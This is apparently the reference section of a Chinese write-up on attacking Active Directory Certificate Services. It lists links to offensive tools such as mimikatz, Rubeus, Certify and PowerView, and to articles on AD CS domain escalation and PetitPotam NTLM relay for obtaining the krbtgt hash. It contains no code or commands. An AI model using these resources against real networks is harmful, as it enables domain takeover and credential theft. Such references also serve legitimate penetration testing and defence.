[Certify](https://github.com/GhostPack/Certify)

[AdMod (joeware.net)](http://www.joeware.net/freetools/tools/admod/)

[AdFind (joeware.net)](http://www.joeware.net/freetools/tools/adfind/)

[mimikatz](https://github.com/gentilkiwi/mimikatz)

[Rubeus](https://github.com/GhostPack/Rubeus)

[PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)

[ADExplorer](http://live.sysinternals.com/ADExplorer.exe)

## 参考文章

[AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation)

[ADCS 攻击面挖掘与利用-安全客 - 安全资讯平台 (anquanke.com)](https://www.anquanke.com/post/id/262433)

[Skidaddle Skideldi - I just pwnd your PKI – LuemmelSec – Just an admin on someone else´s computer](https://luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/)

[Attack Surface Mining For AD CS - 跳跳糖 (tttang.com)](https://tttang.com/archive/1593/)

[Certified\_Pre-Owned.pdf (specterops.io)](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)

[证书模板 (forsenergy.com)](https://forsenergy.com/zh-cn/certtmpl/)

[ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate - Red Team Notes (ired.team)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate)